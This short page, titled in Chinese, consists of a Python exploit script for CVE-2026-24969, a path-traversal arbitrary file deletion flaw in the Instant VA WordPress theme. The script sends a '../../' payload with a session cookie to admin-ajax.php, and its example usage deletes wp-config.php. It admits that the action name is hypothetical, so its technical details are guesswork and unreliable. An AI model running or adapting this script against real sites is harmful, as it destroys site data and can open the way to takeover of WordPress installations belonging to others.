CVE-2026-24969: Instant VA路径遍历漏洞

import requests # Exploit Title: Instant VA <= 1.0.1 - Arbitrary File Deletion via Path Traversal # Date: 2026-03-25 # Exploit Author: Security Analyst # Vendor Homepage: https://designingmedia.com/ # Software Link: https://wordpress.org/themes/instantva/ # Version: <= 1.0.1 # CVE: CVE-2026-24969 def exploit(target_url, file_to_delete, admin_cookie): """ Attempts to delete a file on the target server using the path traversal vulnerability. Note: This requires a low-privileged user session (PR:L). """ # The vulnerable endpoint is often an AJAX action or a specific admin page # Based on common WP theme structures, we simulate a request to a file deletion handler url = f"{target_url}/wp-admin/admin-ajax.php" # Payload using path traversal to escape the uploads directory payload = { "action": "instantva_delete_file_action", # Hypothetical action name based on theme "file": f"../../{file_to_delete}" } headers = { "Cookie": admin_cookie } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Request sent. Check if {file_to_delete} is deleted.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # target = "http://localhost" # file_path = "wp-config.php" # cookie = "wordpress_logged_in_xxx=..." # exploit(target, file_path, cookie)